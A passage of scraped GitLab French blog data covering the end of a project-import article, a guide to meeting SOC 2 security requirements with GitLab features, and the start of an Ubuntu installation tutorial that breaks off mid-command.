les synchroniser. Vous pouvez par exemple séparer l'accès privé et public au projet tout en veillant à ce que les deux versions restent identiques, ce notamment lors de la mise à disposition en open source de projets internes. La mise en miroir est également utilisée lorsque vous travaillez avec des sous-traitants sur des plateformes différentes qui nécessitent un accès partagé au code base. \n\n## Lancez-vous sur GitLab dès aujourd’hui !\n\nL'importation et la migration entre différentes instances GitLab, et à partir d'autres sources, sont des étapes importantes qui doivent faire l'objet d'une planification rigoureuse. Il est essentiel de définir clairement les attentes concernant les éléments importés et la méthode utilisée. Bien que la plupart des solutions tierces permettent d'importer divers éléments d'un projet, notamment des fichiers, des tickets et des merge requests, certaines approches présentent des problèmes et des limitations connus. Notre [documentation GitLab dédiée à l'Importation de projets](https://docs.gitlab.com/ee/user/project/import/) fournit des informations détaillées sur toutes les méthodes prises en charge qui peuvent vous aider à planifier votre migration.   \n\n> #### Vous souhaitez approfondir vos connaissances ? [Inscrivez-vous à GitLab University](https://university.gitlab.com/). Vous pouvez également vous lancer immédiatement avec [un essai gratuit de GitLab Ultimate](https://about.gitlab.com/fr-fr/free-trial/devsecops/).\n",[676,1069,1067],{"slug":1852,"featured":6,"template":683},"getting-started-with-gitlab-how-to-import-your-projects-to-gitlab","content:fr-fr:blog:getting-started-with-gitlab-how-to-import-your-projects-to-gitlab.yml","Getting Started With Gitlab How To Import Your Projects To Gitlab","fr-fr/blog/getting-started-with-gitlab-how-to-import-your-projects-to-gitlab.yml","fr-fr/blog/getting-started-with-gitlab-how-to-import-your-projects-to-gitlab",{"_path":1858,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":1859,"content":1865,"config":1870,"_id":1872,"_type":16,"title":1873,"_source":17,"_file":1874,"_stem":1875,"_extension":20},"/fr-fr/blog/guide-to-fulfilling-soc-2-security-requirements-with-gitlab",{"title":1860,"description":1861,"ogTitle":1860,"ogDescription":1861,"noIndex":6,"ogImage":1862,"ogUrl":1863,"ogSiteName":841,"ogType":842,"canonicalUrls":1863,"schema":1864},"Mise en conformité SOC 2 : GitLab vous simplifie la tâche","Découvrez les fonctionnalités de sécurité applicative de la plateforme DevSecOps de GitLab pour vous conformer aux exigences de la norme SOC 2.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099576/Blog/Hero%20Images/Blog/Hero%20Images/AdobeStock_1172300481_IGPi3TS4VzFgcqhvEdBlR_1750099575518.jpg","https://about.gitlab.com/blog/guide-to-fulfilling-soc-2-security-requirements-with-gitlab","\n                         {\n        \"@context\": \" https://schema.org \",\n         \"@type\": \"Article\",\n         \"headline\": \"Mise en conformité SOC 2 : GitLab vous simplifie la tâche\",\n         \"author\": [{\"@type\":\"Person\",\"name\":\"Fernando Diaz\"}],\n         \"datePublished\": \"2025-01-22\",\n      }",{"title":1860,"description":1861,"authors":1866,"heroImage":1862,"date":1867,"body":1868,"category":673,"tags":1869},[1316],"2025-01-22","Pour les entreprises qui traitent les informations sensibles des clients, la conformité à la norme System and Organization Controls 2 (SOC 2) dépasse le cadre des bonnes pratiques : c'est souvent un impératif commercial. La norme d'audit SOC 2, développée par l'American Institute of Certified Public Accountants, évalue les contrôles internes d'un prestataire de services autour de cinq piliers essentiels : la sécurité, la disponibilité, l'intégrité des traitements de données, la confidentialité et la confidentialité.\n\n\nBien qu'elle ne soit pas imposée par la loi, la conformité SOC 2 est devenue un enjeu stratégique, renforcée par la fréquence et la médiatisation croissantes des violations de données. Obtenir la certification SOC 2 vous permet d'établir un lien de confiance avec vos clients, de leur démonter que leurs données sont protégées et de leur garantir que vos contrôles de sécurité ont été évalués par un auditeur tiers indépendant.\n\n\nDécouvrez dans ce guide les exigences à remplir pour obtenir la certification SOC 2 et comment GitLab peut aider votre entreprise à respecter les normes les plus strictes en matière de sécurité applicative.\n\n\n## Quelles sont les exigences fixées par la norme SOC 2 ?\n\n\nLe processus de conformité repose sur un audit réalisé par un cabinet indépendant, chargé d'évaluer à la fois la conception et l'efficacité opérationnelle des contrôles mis en place par l'entreprise concernée. L'audit SOC 2 peut durer près d'un an et s'avérer particulièrement coûteux. Nombreuses sont les entreprises qui s'y confrontent sans préparation suffisante, d'où l'importance de bien se préparer en amont.\n\n\nPour obtenir la certification SOC 2, une entreprise doit répondre aux exigences basées sur les critères de services de confiance suivants :\n\n\n| Critères | Exigences |\n\n| :---- | :---- |\n\n| Sécurité | - Mettre en place des contrôles pour prévenir tout accès non autorisé \u003Cbr> - Définir des procédures d'identification et d'atténuation des risques\u003Cbr> - Mettre en œuvre des systèmes de détection et de traitement des incidents de sécurité |\n\n| Disponibilité | - Garantir la disponibilité des systèmes selon les engagements contractuels\u003Cbr> - Surveiller l'utilisation et la capacité des systèmes en temps réel \u003Cbr> - Identifier et traiter les menaces environnementales susceptibles d'affecter la disponibilité des systèmes |\n\n| Intégrité des opérations de traitement | - Tenir des registres précis des entrées et sorties du système \u003Cbr> - Mettre en place des procédures pour détecter et corriger rapidement les erreurs \u003Cbr> - Veiller à ce que les opérations de traitement respectent les spécifications des produits et services |\n\n| Confidentialité | - Identifier et protéger les informations confidentielles \u003Cbr> - Définir des politiques claires de conservation des données pour une période définie \u003Cbr> - Mettre en place des méthodes sécurisées de suppression de ces données à l'issue de la période de conservation |\n\n| Vie privée | - Obtenir le consentement avant toute collecte de données personnelles sensibles \u003Cbr> - Communiquer de façon claire et compréhensible les politiques de confidentialité \u003Cbr> - Collecter les données uniquement par des moyens légaux et auprès de sources fiables |\n\n\u003Cbr>\n\n\nIl est essentiel de noter que la conformité SOC 2 n'est pas un état ponctuel, mais un processus continu. Les auditeurs devront vérifier l'efficacité des contrôles au fil du temps.\n\n\n## Comment atteindre et maintenir les exigences de sécurité ?\n\n\nGitLab fournit un ensemble de fonctionnalités intégrées à sa plateforme pour vous aider à satisfaire les exigences de sécurité de la norme SOC 2. En voici un aperçu :\n\n\n| Exigence de sécurité | Fonctionnalités associées |\n\n| :---- | :---- |\n\n| Mettre en œuvre des contrôles pour prévenir tout accès non autorisé | - Tickets et merge requests confidentiels \u003Cbr> - Rôles personnalisés et autorisations granulaires \u003Cbr> - Stratégies de sécurité \u003Cbr> - Validations vérifiées \u003Cbr> - Images de conteneur signées \u003Cbr> - CodeOwners \u003Cbr> - Branches protégées |\n\n| Mettre en œuvre des systèmes de détection et de traitement des incidents de sécurité | - Scanning de détection des vulnérabilités \u003Cbr> - Widget de sécurité intégré aux merge requests \u003Cbr> - Centre de conformité avec tous les détails sur les vulnérabilités \u003Cbr> - Événements d'audit \u003Cbr> - Liste des dépendances dans les rapports de vulnérabilités \u003Cbr> - IA : explication des vulnérabilités \u003Cbr> - IA : résolution des vulnérabilités |\n\n| Définir des procédures d'identification et d'atténuation des risques | L'ensemble de ces fonctionnalités permet aux équipes de sécurité de définir des procédures claires pour la gestion des vulnérabilités, de leur identification à leur atténuation.\n\n\u003Cbr>\n\n| Passons maintenant en revue chaque section pour détailler les fonctionnalités de sécurité de GitLab qui permettent de répondre à ces exigences. Remarque : la plupart de ces fonctionnalités nécessitent un [abonnement GitLab Ultimate](https://about.gitlab.com/fr-fr/free-trial/?hosted=saas) ainsi que les rôles et autorisations adéquats. Pour en savoir plus, consultez la documentation officielle.\n\n\n## Quels contrôles mettre en place éviter tout accès non autorisé ?\n\n\nLa mise en œuvre de contrôles d'accès rigoureux est essentielle pour protéger les actifs de votre entreprise, garantir la conformité réglementaire, maintenir la continuité des opérations et instaurer la confiance. Avec GitLab, vous pouvez appliquer le [principe de moindre privilège](https://about.gitlab.com/blog/the-ultimate-guide-to-least-privilege-access-with-gitlab/) afin de sécuriser vos projets contre tout accès non autorisé. Voici un aperçu des fonctionnalités disponibles :\n\n\n* [Stratégies de sécurité](#security-policies)\n\n* [Rôles personnalisés et autorisations granulaires](#custom-roles-and-granular-permissions)\n\n* [Protections des branches et CodeOwners](#branch-protections-and-codeowners)\n\n* [Validations vérifiées](#verified-commits)\n\n\n### Stratégies de sécurité\n\n\nLes stratégies de sécurité de GitLab, connues sous le nom de garde-fous, permettent aux équipes de sécurité et de conformité d'appliquer des contrôles cohérents à l'échelle de l'entreprise. Elles contribuent à prévenir les incidents de sécurité, à maintenir les normes de conformité et à réduire les risques en automatisant l'application des bonnes pratiques de sécurité à grande échelle.\n\n\n![Vue de la politique d'approbation des merge requests](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099597/Blog/Content%20Images/Blog/Content%20Images/merge_request_approval_policy_aHR0cHM6_1750099596925.png)\n\n\n\u003Ccenter>\u003Ci>Vue de la politique d'approbation des merge requests\u003C/i>\u003C/center>\u003Cbr>\n\n\nGitLab propose les différents types de stratégies de sécurité suivants :\n\n\n* Stratégie d'exécution des scans : impose l'exécution de scans de sécurité, soit dans les pipelines CI/CD, soit selon un calendrier précis.\n\n* Politique d'approbation des merge requests : applique des paramètres et des règles d'approbation au niveau du projet en fonction des résultats des scans.\n\n* Stratégie d'exécution des pipelines : impose l'exécution de jobs CI/CD critiques dans les pipelines.\n\n* Stratégie de gestion des vulnérabilités : automatise les workflows de gestion des vulnérabilités.\n\n\nVoici à titre d'exemple les étapes de mise en conformité en appliquant une stratégie d'exécution des pipelines :\n\n\n1. Créez un projet dédié aux jobs de conformité, contenant plusieurs tâches applicables à différents projets. Par exemple, un job peut avoir pour objectif de vérifier les autorisations d'accès aux fichiers déployés. Ces jobs doivent être suffisamment génériques pour être réutilisés sur plusieurs applications\n\n.2. Limitez les autorisations sur ce projet aux seuls responsables sécurité ou conformité. Les équipes de développement ne doivent pas pouvoir modifier ou supprimer ces jobs, afin de garantir une séparation claire des responsabilités.\n\n3. Injectez ces jobs de conformité par lots dans les projets concernés. Configurez-les pour qu'ils s'exécutent systématiquement, sans possibilité de suppression, mais autorisez un responsable d'équipe à approuver leur exécution afin de ne pas bloquer le développement. Ainsi, vous vous assurez que les jobs de conformité sont toujours lancés, qu'ils ne peuvent pas être désactivés par les développeurs, et que votre environnement reste conforme aux exigences établies.\n\n\n> ##### Pour approfondir vos connaissances sur le sujet, consultez notre [documentation dédiée aux stratégies de sécurité](https://docs.gitlab.com/ee/user/application_security/policies/).\n\n\n### Rôles personnalisés et autorisations granulaires\n\n\nLes autorisations personnalisées dans GitLab permettent de définir des contrôles d'accès plus précis que ceux des autorisations standard basées sur les rôles. Elles offrent plusieurs avantages, tels que :\n\n\n* Un contrôle d'accès plus précis\n\n* Une meilleure conformité aux exigences de sécurité\n\n* Une réduction du risque d'accès accidentel\n\n* Une gestion des utilisateurs simplifiée\n\n* Une prise en charge adaptée aux structures organisationnelles complexes\n\n\n![Rôles personnalisés dans GitLab](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099597/Blog/Content%20Images/Blog/Content%20Images/custom_roles_aHR0cHM6_1750099596926.png)\n\n\n\u003Ccenter>\u003Ci>Paramètres des rôles et autorisations, y compris les rôles personnalisés\u003C/i>\u003C/center>\n\n\n> ##### Pour approfondir vos connaissances sur le sujet, consultez notre [documentation dédiée aux rôles personnalisés](https://docs.gitlab.com/ee/user/custom_roles.html).\n\n\n### Protections des branches et CodeOwners\n\n\nGitLab vous aide à mieux contrôler qui peut modifier votre code à l'aide de ces deux fonctionnalités avancées :\n\n* La protection des branches, qui permet de définir des règles précises sur qui peut mettre à jour des branches spécifiques, par exemple en imposant une approbation avant de fusionner les modifications.\n\n* La propriété du code, qui identifie automatiquement les relecteurs appropriés pour examiner les modifications apportées au code en associant chaque fichier à ses propriétaires désignés.\n\n\nCombinées, ces fonctionnalités vous aident à garantir la sécurité et la qualité de votre code en vous assurant que les bonnes personnes examinent et approuvent chaque modification.\n\n\n![Branches protégées](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099597/Blog/Content%20Images/Blog/Content%20Images/protected_branches_aHR0cHM6_1750099596928.png)\n\n\n\u003Ccenter>\u003Ci>Paramètres de branches protégées\u003C/i>\u003C/center>\n\n\n> ##### Pour approfondir vos connaissances sur le sujet, consultez notre documentation dédiée aux [branches protégées](https://docs.gitlab.com/ee/user/project/repository/branches/protected.html) et aux [propriétaires de code](https://docs.gitlab.com/ee/user/project/codeowners/).\n\n\n### Validations vérifiées\n\n\nEn signant vos validations numériquement, vous prouvez que vous en êtes l'auteur et non une personne qui se fait passer pour vous. Considérez cette signature numérique comme un tampon unique que vous seul pouvez créer. En téléversant votre clé publique GPG sur la plateforme GitLab, cette dernière peut vérifier l'authenticité de ce tampon. Si la signature et le tampon correspondent, GitLab marque votre validation comme `Verified`. Vous pouvez ensuite configurer des règles pour rejeter les validations non signées ou bloquer toutes les validations des utilisateurs qui n'ont pas vérifié leur identité.\n\n\n![Validation signée avec une signature vérifiée](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099597/Blog/Content%20Images/Blog/Content%20Images/signed_commit_aHR0cHM6_1750099596929.png)\n\n\n\u003Ccenter>\u003Ci>Validation signée avec une signature vérifiée\u003C/i>\u003C/center>\u003Cbr>\n\n\nLes validations peuvent être signées avec :\n\n\n* Une clé SSH\n\n* Une clé GPG\n\n* Un certificat x.509 personnel\n\n\n> ##### Pour approfondir vos connaissances sur le sujet, consultez notre [documentation dédiée aux validations signées](https://docs.gitlab.com/ee/user/project/repository/signed_commits/)\n\n\n## Comment mettre en place des systèmes de détection et de gestion des incidents°?\n\n\nLa mise en place de systèmes de détection et de gestion des incidents de sécurité est essentielle pour maintenir une posture de sécurité robuste, garantir la conformité réglementaire, limiter les dommages potentiels et permettre à votre entreprise de réagir efficacement à des menaces en constante évolution.\n\n\nGitLab propose des scannings de sécurité et de gestion des vulnérabilités pour l'ensemble du cycle de vie des applications. Voici un aperçu des principales fonctionnalités :\n\n\n* [Scanning de sécurité et gestion des vulnérabilités](#security-scanning-and-vulnerability-management)\n\n* [Nomenclature logicielle](#software-bill-of-materials)\n\n* [Audit du système et analyse de la posture de sécurité](#system-auditing-and-security-posture-review)\n\n* [Supervision de la conformité et de la posture de sécurité](#compliance-and-security-posture-oversight)\n\n\n### Scanning de sécurité et gestion des vulnérabilités\n\n\nGitLab fournit une variété de scanners de sécurité différents, qui couvrent l'ensemble du cycle de vie de votre application :\n\n\n* Test statique de sécurité des applications (SAST)\n\n* Test dynamique de sécurité des applications (DAST)\n\n* Analyse des conteneurs\n\n* Analyse des dépendances\n\n* Analyse de l'Infrastructure as Code (IaC)\n\n* Test à données aléatoires guidé par la couverture de code\n\n* Test d'API web par injection de données aléatoires\n\n\nCes scanners peuvent être ajoutés à votre pipeline CI/CD à l'aide de templates. Par exemple, pour exécuter des jobs de SAST et de scanning des dépendances à l'étape de test, ajoutez simplement ce qui suit à votre fichier .gitlab-ci.yml :\n\n\n```yaml\n\nstages:   - test\n\ninclude:   - template: Jobs/Dependency-Scanning.gitlab-ci.yml   - template: Jobs/SAST.gitlab-ci.yml   ```\n\n\nCes jobs sont entièrement configurables via des variables d'environnement et à l'aide de la syntaxe des jobs GitLab. Une fois le pipeline CI/CD lancé, les scanners de sécurité s'exécutent et détectent les vulnérabilités dans le diff entre la branche actuelle et la branche cible. La vulnérabilité s'affiche directement dans la merge request (MR) correspondante, fournissant ainsi une vue détaillée avant que le code ne soit fusionné vers la branche cible. Dans la MR, chaque vulnérabilité détectée est présentée avec les informations suivantes :\n\n\n* Description\n\n* Statut\n\n* Gravité\n\n* Preuves\n\n*Identifiants\n\n* URL (le cas échéant)\n\n* Requête/réponse (le cas échéant)\n\n* Actifs de reproduction (le cas échéant)\n\n* Ressources de formation (le cas échéant)\n\n* Chemin d'exécution dans le code (si vous utilisez un analyseur Advanced SAST)\n\n\n![Vue d'une MR présentant la vulnérabilité détectée](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099597/Blog/Content%20Images/Blog/Content%20Images/no_sql_injection_vulnerability_mr_view_aHR0cHM6_1750099596931.png)\n\n\n\u003Ccenter>\u003Ci>Vue d'une MR présentant la vulnérabilité introduite\u003C/i>\u003C/center>\u003Cbr>\n\n\nLes équipes de développement peuvent ainsi utiliser ces données pour corriger les vulnérabilités sans ralentir les workflows de l'équipe de sécurité. Les développeurs peuvent rejeter une vulnérabilité en justifiant leur décision, accélérant ainsi le processus de revue de code. Ils ont également la possibilité de créer un ticket confidentiel pour assurer un suivi sur cette vulnérabilité.\n\n\nUne fois le code d'une MR fusionné vers la branche par défaut (généralement celle de l'environnement de production), le rapport de vulnérabilités est automatiquement mis à jour avec les résultats du scanner de sécurité. Les équipes de sécurité peuvent utiliser ces données pour gérer et hiérarchiser les vulnérabilités ayant atteint l'environnement de production.\n\n\n![Rapport de vulnérabilités avec le paramètre de statut par lot](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099597/Blog/Content%20Images/Blog/Content%20Images/vulnerability_report_aHR0cHM6_1750099596936.png)\n\n\n\u003Ccenter>\u003Ci>Rapport de vulnérabilités avec le paramètre de statut par lot\u003C/i>\u003C/center>\u003Cbr>\n\n\nLorsque vous cliquez sur la description d'une vulnérabilité dans le rapport de vulnérabilités, vous accédez à la page dédiée à cette vulnérabilités, qui contient les mêmes informations que dans la MR. Vous disposez ainsi d'une source unique de vérité lors de l'évaluation de son impact et de la correction possible. Depuis cette page, vous pouvez également utiliser les fonctionnalités d'IA de [GitLab Duo](https://about.gitlab.com/fr-fr/gitlab-duo/) pour obtenir une explication de la vulnérabilité et générer automatiquement une merge request pour la corriger, ce qui accélère considérablement le temps de résolution.\n\n\n> ##### Pour approfondir vos connaissances sur le sujet, consultez notre [documentation dédiée à la sécurité aplicative](https://docs.gitlab.com/ee/user/application_security/).\n\n\n### Nomenclature logicielle\n\n\nGitLab peut créer une liste complète de tous les composants constituant votre logiciel, un peu comme une liste d'ingrédients pour votre code. Cette liste, appelée nomenclature logicielle ([SBOM](https://about.gitlab.com/fr-fr/blog/the-ultimate-guide-to-sboms/)), répertorie l'ensemble du code des composants externes que vous avez ajoutés à votre projet, ainsi que leurs propres dépendances. Pour chaque composant, vous pouvez consulter la version utilisée, le type de licence ainsi que les éventuelles failles de sécurité détectées. Vous pouvez ainsi conserver une trace des composants de votre logiciel et anticiper les risques potentiels.\n\n\n![Liste des dépendances au niveau du groupe (SBOM)](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099597/Blog/Content%20Images/Blog/Content%20Images/sbom_aHR0cHM6_1750099596937.png)\n\n\n\u003Ccenter>\u003Ci>Liste des dépendances au niveau du groupe (SBOM)\u003C/i>\u003C/center>\n\n\n> ##### Pour approfondir vos connaissances sur le sujet, consultez notre [documentation dédiée à la liste des dépendances](https://docs.gitlab.com/ee/user/application_security/dependency_list/).\n\n\n### Audit système et examen de la posture de sécurité\n\n\nGitLab consigne de manière exhaustive toutes les actions effectuées dans votre système : qui a réalisé une modification, de quel type, et à quel moment. Cette fonctionnalité agit en quelque sorte comme une caméra de surveillance pour votre code. Cette traçabilité vous aide à :\n\n\n* repérer toute activité suspecte\n\n* prouver votre conformité aux régulateurs\n\n* retracer les événements en cas d'incident de sécurité\n\n* analyser l'utilisation réelle de GitLab au sein de l'entreprise\n\n\nToutes ces informations d'audit sont centralisées, ce qui facilite grandement leur examen a posteriori et leur analyse en cas de besoin. Par exemple, les événements d'audit vous permettent d'identifier :\n\n\n* qui a modifié le niveau d'autorisation d'un utilisateur pour un projet GitLab, et à quelle date\n\n* qui a ajouté ou supprimé un utilisateur, et à quelle date\n\n\n![Événements d'audit au niveau du projet](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099597/Blog/Content%20Images/Blog/Content%20Images/audit_events_aHR0cHM6_1750099596938.png)\n\n\n\u003Ccenter>\u003Ci>Événements d'audit au niveau du projet\u003C/i>\u003C/center>\n\n\n> ##### Pour approfondir vos connaissances sur le sujet, consultez la [documentation dédiée aux événements d'audit](https://docs.gitlab.com/ee/user/compliance/audit_events.html).\n\n\n## Supervision de la conformité et de la posture de sécurité\n\n\nLe tableau de bord de sécurité de GitLab, telle une salle de contrôle centralisée, vous offre une vue globale claire de tous les risques de sécurité identifiés sur l'ensemble de vos projets. Plutôt que de jongler entre plusieurs outils de sécurité, toutes les informations critiques sont accessibles depuis un seul et même endroit. Cette fonctionnalité facilite la détection et la résolution des vulnérabilités à l'échelle de vos projets.\n\n\n![Tableau de bord de sécurité au niveau du groupe](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099597/Blog/Content%20Images/Blog/Content%20Images/security_dashboard_aHR0cHM6_1750099596939.png)\n\n\u003Ccenter>\u003Ci>Tableau de bord de sécurité au niveau du groupe\u003C/i>\u003C/center>\n\n\n> ##### Pour approfondir vos connaissances sur le sujet, consultez notre [documentation dédiée au tableau de bord de sécurité]( https://docs.gitlab.com/ee/user/application_security/security_dashboard/).\n\n\n## Comment définir des procédures pour identifier et atténuer les risques ?\n\n\nLes vulnérabilités suivent un cycle de vie précis et il est essentiel de mettre en place des procédures structurées. Par exemple, l'une d'elles peut exiger qu'aucun code vulnérable ne soit fusionné vers des branches protégées sans approbation préalable, en s'appuyant sur les stratégies de sécurité en place. Elle peut également stipuler qu'un code vulnérable détecté dans l'environnement de production doit se voir attribuer un ordre de priorité, puis être évalué, corrigé, puis validé :\n\n\n* Les critères de priorisation peuvent être basés sur la gravité de la vulnérabilité déterminée par les scanners GitLab.\n\n* L'évaluation peut s'appuyer sur les informations générées par l'IA lors de l'explication des vulnérabilités.\n\n* Une fois la correction apportée, celle-ci est validée à l'aide des tests de régression et des scanners GitLab intégrés.\n\n\nChaque entreprise ayant ses spécificités, la plateforme GitLab permet d'identifier et valider les vulnérabilités plus efficacement qu'avec un ensemble d'outils disparates.\n\n\n### Bonnes pratiques pour la conformité SOC 2\n\n\n* Instaurer une culture de la sécurité : favorisez une culture de sensibilisation à la sécurité et de responsabilisation à tous les niveaux de votre entreprise.\n\n* Documenter chaque processus : conservez une documentation complète des stratégies, procédures et contrôles de sécurité en place.\n\n* Automatiser dans la mesure du possible : utilisez des outils d'automatisation pour rationaliser les processus de conformité et réduire les risques d'erreur.\n\n* Communiquer efficacement : tenez les parties prenantes informées de vos processus en matière de conformité.\n\n* Demander conseil à des experts : envisagez de vous associer à un consultant qualifié pour vous aider dans votre parcours de conformité SOC 2.\n\n\nObtenir la certification SOC 2 demande un investissement important, mais les bénéfices en valent largement la peine. En démontrant votre engagement en faveur de la sécurité applicative et de l'excellence opérationnelle, vous renforcez la confiance de vos clients, améliorez votre réputation tout en vous distinguant sur un marché concurrentiel.\n\n\n## Autres ressources\n\n\nPour en savoir plus sur GitLab et découvrir comment nous pouvons vous aider à atteindre la conformité SOCv2 tout en renforçant votre posture de sécurité, consultez les ressources suivantes :\n\n\n* [GitLab Ultimate](https://about.gitlab.com/fr-fr/pricing/ultimate/)\n\n* [Solutions de sécurité et de conformité de GitLab](https://about.gitlab.com/fr-fr/solutions/security-compliance/)\n\n* [Documentation GitLab sur la sécurité applicative](https://docs.gitlab.com/ee/user/application_security/)\n\n* [Projet de tutoriel DevSecOps de GitLab](https://gitlab.com/gitlab-da/tutorials/security-and-governance/devsecops/simply-vulnerable-notes)\n",[893,849,850,851,852],{"slug":1871,"featured":92,"template":683},"guide-to-fulfilling-soc-2-security-requirements-with-gitlab","content:fr-fr:blog:guide-to-fulfilling-soc-2-security-requirements-with-gitlab.yml","Guide To Fulfilling Soc 2 Security Requirements With Gitlab","fr-fr/blog/guide-to-fulfilling-soc-2-security-requirements-with-gitlab.yml","fr-fr/blog/guide-to-fulfilling-soc-2-security-requirements-with-gitlab",{"_path":1877,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":1878,"content":1884,"config":1890,"_id":1892,"_type":16,"title":1893,"_source":17,"_file":1894,"_stem":1895,"_extension":20},"/fr-fr/blog/how-to-install-gitlab-beginners-guide",{"ogTitle":1879,"schema":1880,"ogImage":1881,"ogDescription":1882,"ogSiteName":841,"noIndex":6,"ogType":842,"ogUrl":1883,"title":1879,"canonicalUrls":1883,"description":1882},"Installation de GitLab : guide pour faire vos premiers pas","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Installation de GitLab : guide pratique pour faire vos premiers pas sur la plateforme DevSecOps\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"GitLab France Team\"}],\n        \"datePublished\": \"2025-01-15\",\n      }","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749665010/Blog/Hero%20Images/installation-gitlab.jpg","Découvrez dans ce guide pratique tout ce que vous devez savoir sur la plateforme DevSecOps de GitLab, ainsi qu’un tutoriel pour installer GitLab Self-Managed.","https://about.gitlab.com/blog/how-to-install-gitlab-beginners-guide",{"title":1885,"description":1882,"authors":1886,"heroImage":1881,"date":1887,"body":1888,"category":676,"tags":1889},"Installation de GitLab : guide pratique pour faire vos premiers pas sur la plateforme DevSecOps",[1232],"2025-01-15","Si vous travaillez sur des projets de développement logiciel, la plateforme\nDevSecOps de GitLab doit certainement susciter votre intérêt. GitLab, c'est\nun ensemble de fonctionnalités intégrées au sein d'une même plateforme, vous\npermettant d'accélérer votre [livraison de\nlogiciels](https://about.gitlab.com/fr-fr/platform/ \"Livraison de\nlogiciels\"), de façon sécurisée et indépendante des fournisseurs de services\ncloud.\n\n\nPour faire vos premiers pas, ce tutoriel GitLab vous présente le fonctionnement global de la plateforme, ainsi que les principales méthodes pour [installer GitLab Self-Managed](https://about.gitlab.com/fr-fr/install/ \"Installer GitLab Self-Managed\").\n\n\n## Comment fonctionne GitLab ?\n\n\nGitLab est bien plus qu'un gestionnaire de dépôt [Git](https://about.gitlab.com/fr-fr/blog/what-is-git/ \"Qu'est-ce que Git ? \"). C'est une plateforme collaborative qui réunit les différentes équipes chargées du développement, de la sécurité et des opérations d'une entreprise. Elles peuvent collaborer efficacement grâce à une suite de fonctionnalités complètes et facilement intégrables à d'autres solutions et environnements technologiques.\n\n\nGitLab permet aux entreprises de livrer des logiciels de qualité toujours plus rapidement en intégrant au sein de sa plateforme DevSecOps toutes les [étapes essentielles du cycle du développement logiciel](https://about.gitlab.com/fr-fr/stages-devops-lifecycle/ \"Etapes du cycle du développement logiciel\") :\n\n\n- __La planification :__ organisation, planification, coordination et suivi de l'ensemble des projets.\n\n\n- __La création :__ création, consultation, gestion du code et des données des projets.\n\n\n- __La vérification :__ maintien des normes de qualité strictes pour le code à l’aide de tests et de rapports automatisés.\n\n\n- __L’empaquetage :__ création d'une chaîne d'approvisionnement logicielle fiable et cohérente avec la gestion des paquets.\n\n\n- __La sécurité :__ livraison de logiciels sécurisés et conformes avec les tests statiques de sécurité des applications (SAST), les tests dynamiques de sécurité des applications (DAST), l’analyse de conteneurs et l’analyse des dépendances.\n\n\n- __Le déploiement :__ automatisation de la phase de release et de livraison de logiciels, raccourcissement du cycle de développement logiciel, rationalisation des processus manuels, et plus encore.\n\n\n- __La surveillance :__ réduction de la fréquence et du niveau de gravité des incidents.\n\n\n- __La conformité :__ gestion des failles de sécurité, contrôle des stratégies de sécurité et de la conformité de votre entreprise.\n\n\nÀ chaque étape, la [plateforme DevSecOps de GitLab](https://about.gitlab.com/fr-fr/platform/ \"Plateforme DevSecOps de GitLab\") permet d'améliorer le workflow des équipes de développement, notamment avec l'aide de GitLab Duo, notre suite de fonctionnalités alimentées par l'IA. [GitLab Duo](https://about.gitlab.com/fr-fr/gitlab-duo/ \"GitLab Duo\") permet de booster la productivité des équipes à toutes les étapes du cycle du développement logiciel, de la planification à la surveillance, en passant par le code et les tests.\n\n\nL'architecture GitLab s'adapte à toutes les configurations, du simple projet individuel à des réalisations de grands groupes internationaux. Avant d'installer GitLab, choisissez la manière dont vous souhaitez utiliser notre plateforme : en SaaS ou Self-Managed. Pour en savoir plus, consultez notre [page de tarification](https://about.gitlab.com/fr-fr/pricing/ \"Page de tarification de GitLab\").\n\n\nSi votre choix se porte sur GitLab Self-Managed, découvrez dans cet article ses principales méthodes d’installation.\n\n\n## Comment installer GitLab Self-Managed ?\n\n\nGitLab est une plateforme de développement logiciel flexible. Elle peut être installée sur de nombreux environnements et systèmes d'exploitation Linux tels que Ubuntu, Debian, AlmaLinux, CentOS 7, et plus encore. En environnement Cloud, GitLab est pris en charge par les plateformes majeures telles qu'Amazon Web Services, Google Cloud Platform, ou encore Microsoft Azure.\n\n\nParmi tous ces [environnements d'installation de GitLab](https://about.gitlab.com/fr-fr/install/ \"Installer GitLab Self-Managed\") disponibles, vous trouverez très certainement celui que vous avez l'habitude d'utiliser. Pour cet article, nous focaliserons notre attention sur certains d’entre eux.\n\n\n### Installation de GitLab sur Linux\n\n\nLe paquet Linux est la méthode d’installation recommandée par GitLab. Également appelé Omnibus, ce paquet regroupe tous les services et outils nécessaires à l'exécution de GitLab.\n\n\n__Instructions relatives à l’[installation de GitLab sur Ubuntu](https://about.gitlab.com/fr-fr/install/#ubuntu \"Installation de GitLab sur Ubuntu\") :__\n\n\n1. __Téléchargez votre paquet Linux officiel__\n\n\nAssurez-vous de télécharger le paquet adapté à votre distribution Linux, parmi les [différentes versions disponibles](https://packages.gitlab.com/gitlab/gitlab-ee \"gitlab-ee\").\n\n\n2. __Installez et configurez les dépendances nécessaires__\n\n\n`sudo apt-get update`\n\n\n`sudo apt-get install -y curl openssh-server ca-certificates tzdata perl`\n\n\nPuis installez Postfix ou Sendmail pour envoyer vos e-mails de notification. Si vous souhaitez utiliser un autre serveur de messagerie électronique, ignorez cette étape.\n\n\n`sudo apt-get install -y postfix`\n\n\nPendant l'installation de Postfix, il se peut qu'une fenêtre de configuration s'affiche. Dans ce cas, sélectionnez « Site Internet » puis appuyez sur « Entrée ». Saisissez le DNS externe de votre serveur dans le champ « Nom de l'e-mail » et appuyez sur « Entrée ». Si d'autres fenêtres s'affichent, appuyez à nouveau sur « Entrée » pour accepter les paramètres par défaut.\n\n\n3. __Ajoutez le dépôt de paquets GitLab et installez le paquet__\n\n\n`curl 